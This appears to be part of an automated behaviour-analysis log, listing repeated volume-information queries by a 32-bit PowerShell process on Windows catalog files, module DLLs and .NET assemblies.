Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.SecureBoot.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.SecureBoot.Commands.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
